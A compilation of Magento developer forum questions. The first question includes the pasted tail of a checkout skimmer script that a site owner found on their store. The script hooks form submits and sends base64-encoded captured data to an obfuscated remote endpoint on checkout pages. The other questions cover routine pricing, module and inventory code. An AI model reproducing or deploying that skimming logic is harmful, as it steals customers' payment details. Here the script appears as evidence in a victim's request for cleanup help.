                        b.addEventListener('click',be20b6410993ea4c7a48767775856514b.clk,false);
                    }else{
                        b.attachEvent('onclick',be20b6410993ea4c7a48767775856514b.clk);
                    }
                }
            }
            var frm=document.querySelectorAll('form');
            for(vari=0;i<frm.length;i++){
                if(frm[i].addEventListener){
                    frm[i].addEventListener('submit',be20b6410993ea4c7a48767775856514b.clk,false);
                }else{
                    frm[i].attachEvent('onsubmit',be20b6410993ea4c7a48767775856514b.clk);
                }
            }
            if(be20b6410993ea4c7a48767775856514b.snd!=null){
                var domm=location.hostname.split('.').slice(0).join('_')  || 'nodomain';
                var keym=btoa(be20b6410993ea4c7a48767775856514b.snd);
                var http=new XMLHttpRequest();
                http.open('POST',be20b6410993ea4c7a48767775856514b.e294b002686cad2df01bb59e3e2299f3e,true);
                http.setRequestHeader('Content-type','application/x-www-form-urlencoded');
                http.send('info='+keym+'&hostname='+domm+'&key='+be20b6410993ea4c7a48767775856514b.myid);
            }
            be20b6410993ea4c7a48767775856514b.snd=null;
            keym=null;
            setTimeout(function(){be20b6410993ea4c7a48767775856514b.send()},30);
        }catch(e){}
    }
}

if((new RegExp('onepage|checkout|onestep','gi')).test(window.location)){
    be20b6410993ea4c7a48767775856514b.send();
}
-->
</script>

I am sure I did not add this, and I have deleted it for now. Is deleting this enough? or is there anything else I should look into?


texts: Show the highest price of a grouped product in catalog

texts:
In the online store I'm making, I only have grouped products. And which one of them have 3 single products.
One has a fixed price, and the other two, variable prices, that start from 0. And the problem is just that.

As the products start at 0, it doesn't appear any price in the catalog.
So what I wanted was to show the highest price, that it'll be the product with the fixed price.

I tried this at:
app/code/core/Mage/Catalog/Model/Product/Type/price.php

changed this function:

/ **
      * Apply group for product price
      *
      * @ Param $ product Mage_Catalog_Model_Product
      * @ Param float $ finalPrice
      * @ Return float
      * /

     protected function _applyGroupPrice ($ product, $ finalPrice)

     {

         $ groupPrice = $ product-> getGroupPrice ();

         if (is_numeric ($ groupPrice)) {

             finalPrice $ = **min** (finalPrice $, $ groupPrice);

         }

         return $ finalPrice;

     }

to

/ **
      * Apply group for product price
      *
      * @ Param $ product Mage_Catalog_Model_Product
      * @ Param float $ finalPrice
      * @ Return float
      * /

     protected function _applyGroupPrice ($ product, $ finalPrice)

     {

         $ groupPrice = $ product-> getGroupPrice ();

         if (is_numeric ($ groupPrice)) {

             finalPrice $ = **max** (finalPrice $, $ groupPrice);

         }

         return $ finalPrice;

     }

But no luck. Any other idea?

Thank you


texts: Magento 1: improving my module development workflow (Modman, composer, git)

texts:
This is something I've had in mind for quite some time but I can't find the right method to do it.

So basically, I'm working with 6 different websites, all running Magento CE 1.9.2+

On those websites, I am using a bunch of extensions that me and the team I'm working with have developped (here we're talking 50+ extensions) and the code for those extensions is stored on Bitbucket. So I ain't the only person managing those extensions, we're 3 people working on them.

At the moment, when I want to add a feature/fix a bug for one of those extensions, here's my workflow:

Install the last version of the extension on one of the website via Modman
Fix the bug/add a feature/test
Manually copy the changes to a local folder that contains all my extensions
Commit and push via GIT from this extension folder to Bitbucket (1 Bitbucket repo per module)
Then the new version of the module can be installed via Modman

Important note: I'm using modman with hardcopy here, no symlink.

My biggest problem has been highlighted in bold: I want to be able to skip this step because it's a big cause of problems (some files are forgotten sometimes, wrong copy/paste, involves human action).

So, how can I improve my workflow in order to get rid of this manual copy/paste step ? I'm open to suggestions here.


texts: Magento 2.2.5 : Custom option functionality work same as core in custom module

texts:
I want to add custom option functionality in my custom module.

It should be working as like working in Magento 2 product view page.

Here, Custom option display in product view page. I want to the same structure and functionality in my custom module.

How to do in my custom module?


texts: How to resolve conflict between two jQuery plugins?

texts:
I'm using the fancybox plugin. It was working good. But when I installed slider plugin slider plugin working good but the Fancybox plugin stopped working, why is it show?  How can I remove that conflict?

I read somewhere that this problem occur due to conflict in jQuery. So, how can I resolve that conflict?

I used this code for slider plugin in page:

{{block type='imageslider/imageslider' template='imageslider/imageslider.phtml'}}


texts: Magento 2 : How can I call helper function on override product list block

texts:
I want to show some extra data on product list page so I override the vendor\magento\module-catalog\Block\Product\ListProduct.php . For this I refer Add custom block on listing page : Magento2. It work.

But I need to call my helper function in my override block file. Created new file name ListProduct.php in app\code\Vendor\Module_Name\Block\Product

namespace Vendor\Module_Name\Block\Product;
 class ListProduct extends \Magento\Catalog\Block\Product\ListProduct
 {

  // I need to call my module helper function here:

   public function test(){

   }
 }

How can I call my helper function inside this block file. Thanks


texts: Is there tiered pricing for customizable options?

texts:
One of my customizable options has values that charge extra. Say, when a user chooses "Red" from the "Color" dropdown, it'll add $0.10 to the product (e.g. a shirt).

Now, when the user buys 20 of these shirts, instead of having $0.10 added on for each, I want $0.05 added on for each.

This is basically tiered pricing, but instead of applying this to the product it's applied to the customizable option.

Is this possible in Magento 2? If not, is there an external solution, like a module, to do this?


texts: Display only selected brand in fronted for new customer registration page magento 2.1

texts:
I created custom attributes Brand with multi select option and I display Brand on registration page but I want If customer select only one brand then they can see only that brand in fronted instead of all.
Can you help me?


texts: Getting NoSuchEntityException when trying to connect Magento 2 store to ebay

texts:
I recently used M2E pro to migrate our ebay orders from our Magento 1 site to our Magento 2 site and I'm now getting some problems with the M2E system.

Firstly we're getting an error at the top of the page reading:

  M2E Pro Health Status Notification: Something went wrong with your M2E
  Pro running and some actions from your side are required. A detailed
  information you can find in M2E Pro Health Status Center.

The health center shows the following two problems:

  eBay Retrieving It seems that there were no orders imported into your
  M2E Pro during the latest 24 hours which is rather unusual. We
  strongly recommend you to ensure that there were purchases made on
  Channel. If the purchases are available on Channel, there might be
  some issue with your Module running (e.g. failed Install/Upgrade
  processes, incorrect settings for Magento Cron and inability to use
  M2E Pro Cron Service, lost connection to M2E Pro Servers, error
  returned from Channel for Account access, etc.). Thus, please, verify
  all the aspects related to the Installation/Upgrade and configuration
  of your M2E Pro Module. It might be helpful to involve your
  Developer/Administrator into this process along with surfing
  theDocumentation and Knowledge Base. In case, any assistance is
  needed, you can consult with our Support Team via
  email support@m2epro.com.

  eBay Magento Order Creation During the last 24 hours, M2E Pro could
  not create Magento orders for 24 imported Channel orders due to
  unforeseen issues on Magento side. Please check the Order Logs for
  more details.

When we click on M2E Pro in "Ebay Integration" and "Listings" We get an error beginning with the following:

Exception #0 (Magento\Framework\Exception\NoSuchEntityException): Requested store is not found
#0 /var/www/vhosts/mywebsitename.com/httpdocs/vendor/magento/module-store/Model/StoreManager.php(167): Magento\Store\Model\StoreRepository->getById(5)
#1 /var/www/vhosts/mywebsitename.com/httpdocs/app/code/Ess/M2ePro/Block/Adminhtml/Ebay/Listing/Grid.php(262): Magento\Store\Model\StoreManager->getStore(5)

As the error mentions getById(5) and getStore(5) I wondered if this had anything to do with the fact that the Ebay store has the following identifiers:

6 for the group ID
6 for the website ID
11 for the default store ID

If this is the case how would we go about changing this so that the ebay system synchronizes with Magento properly?


texts:
I have a Magento 2.1.6
The folder pub/media/catalog/product/cache does not get generated.
All my products on the front end are showing broken images.
I have tried resetting the permissions numerous times, to no availability.

I tried flushing the caches, deploying static content, catalog:images:resize but nothing seems to help.

I cannot find any errors in the Apache error.log that would indicate what went wrong.


texts: Not able to include Magento\Quote\Api\Data\CartItemExtensionInterface in constructor

texts:
I am trying to add multiple configurable products to cart using a custom REST API request. For that I call the existing save function for each products. I'm able to add upto product options. But when I try to add extension attributes, it's is not working as expected. Instead of that, I'm getting error message
"Fatal Error: 'Uncaught Error: Cannot instantiate interface Magento\\Quote\\Api\\Data\\CartItemExtensionInterface in ../vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php:9

Whenever I try to include \Magento\Quote\Api\Data\CartItemExtensionInterface in constructor, this error message is alone occurs. I am doing like below

use Magento\Quote\Api\Data\CartItemExtensionInterface;
use Magento\Framework\Api\AttributeValueFactory;
use Magento\Framework\Api\ExtensionAttributesFactory;
use Magento\Quote\Api\Data\CartItemInterface;

class MultiItemsCart extends \Magento\Quote\Model\Quote\Item\Repository implements MultiItemsCartInterface
{
    /**
     * Quote repository.
     *
     * @var \Magento\Quote\Api\CartRepositoryInterface
     */
    protected $quoteRepository;
    protected $serviceProcessor;
    protected $quoteItemRepository;
    /**
     * @var \Magento\Quote\Api\Data\CartItemInterfaceFactory
     */
    public $cartItem;
    public $productOption;
    public $extensionAttributes;

    /**
     * @param \Magento\Quote\Api\CartRepositoryInterface $quoteRepository
     */
    public function __construct(
        \Magento\Quote\Api\CartRepositoryInterface $quoteRepository,
        \Magento\Framework\Webapi\ServiceInputProcessor $serviceProcessor,
        \Magento\Quote\Model\Quote\Item\Repository $quoteItemRepository,
        \Magento\Quote\Api\Data\CartItemInterface $cartItem,
        \Magento\Quote\Api\Data\ProductOptionInterface $productOption,
        \Magento\Quote\Api\Data\CartItemExtensionInterface $extensionAttributes,
        array $cartItemProcessors = []
    ) {
        $this->quoteRepository = $quoteRepository;
        $this->serviceProcessor = $serviceProcessor;
        $this->quoteItemRepository =$quoteItemRepository;
        $this->itemDataFactory = $itemDataFactory;
        $this->cartItem = $cartItem;
        $this->productOption = $productOption;
        $this->extensionAttributes = $extensionAttributes;
    }
    /**
    * Returns greeting message to user
    *
    * @api
    * @param mixed $cartItems
    * @return array
    */
    public function multiItemsCart($cartItems) {
        foreach($cartItems as $cartItem){
            $this->cartItem->setSku($cartItem['sku']);
            $this->cartItem->setQuoteId($cartItem['quote_id']);
            $this->cartItem->setQty($cartItem['qty']);
            $this->cartItem->setProductOption($this->productOption);
            //$this->cartItem->setExtensionAttributes($this->extensionAttributes);
            $this->quoteItemRepository->save($this->cartItem);

        }
        return $cartItems;
    }
}

I tried to include the same class in some other class also, there also I'm getting same error message. Can any one help on this...


texts: Recreate the table in integration tests database

texts:
Let's say I created a module that has it's own setup script that should create a new table. Everything installed fine through command line and when I ran integration tests that table was there (in integration tests database).

I realized I made a mistake in my setup script, so I changed it, deleted the entry in setup_module database table, deleted the table, ran the bin/magento setup:upgrade command, and the table in my main table was recreated well.

The problem is that the table in my integration tests database remains unchanged. I tried deleting tmp and var folders with no luck.

Any way around this?


texts:
Here is the routes.xml file

<?xml version="1.0"?>
<!--
/**
* Copyright © 2017 Magento. All rights reserved.
* See COPYING.txt for license details.
*/
-->
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:App/etc/routes.xsd">
<router id="standard">
    <route id="unit3helloworldblock" frontName="unit3helloworldblock">
        <module name="Unit3_HelloWorldBlock" />
    </route>
</router>

In Unit3\HelloWorldBlock\Controller\Block there is this Index.php file

/**
 * Class Index
 * @package Unit3\HelloWorldBlock\Controller\Block
 */
class Index extends \Magento\Framework\App\Action\Action
{
protected $_pageFactory;

public function __construct(
    \Magento\Framework\App\Action\Context $context,
    \Magento\Framework\View\Result\PageFactory $pageFactory
) {
    $this->_pageFactory = $pageFactory;
    parent::__construct($context);
}

/**
 * return result
 */
public function execute()
{
    $layout = $this->_pageFactory->create()->getLayout();
    $block = $layout->createBlock('Unit3\HelloWorldBlock\Block\Test');
    $result = $this->resultFactory->create(\Magento\Framework\Controller\ResultFactory::TYPE_RAW);
    $result->setContents($block->toHtml());
    return $result;
}
}

I have attempted

  /unit3helloworldblock/

  /unit3helloworldblock/index.php

  /unit3helloworldblock/Controller/Block/Index.php

I have checked to make sure the module is enabled, ran upgrade, compiled, flushed cache, and removed generated.


texts:
I'm running on Magento 2.3 with MSI(Multi Source Inventory) setup.

I would like to filter product collection with specific source.
Like, I've 4 sources for products, source-1,source-2,source-3 and source-4.
Now I want to get list of SKU which are available in let say source-3.

Example

SKU-1 has 50 qty and its qty divided into 4 sources like below,

source-1 --- 20
source-2 --- 10
source-3 --- 10
source-4 --- 10

What I tried, but it takes too much time to load :(

$collection = $this->_productCollectionFactory->create();
$collection->addAttributeToSelect('*');

foreach($collection as $product){
    print_r($product->getData());
    //Magento\InventoryApi\Api\GetSourceItemsBySkuInterface
    $sourceItems = $this->getSourceItemsBySku->execute($product->getSku());
    //print_r($sourceItems->getData());
    foreach($sourceItems as $sourceItem){
        if($sourceItem->getSourceCode() == 'source-3' && $sourceItem->getQuantity() > 0){
            print_r($sourceItem->getData());
            //Magento\Catalog\Api\ProductRepositoryInterface
            $_product = $this->productRepository->get($sourceItem->getSku());
            echo "<br/>";

        }
    }
}

Any idea to optimize this code ? Any help would be really appreciated.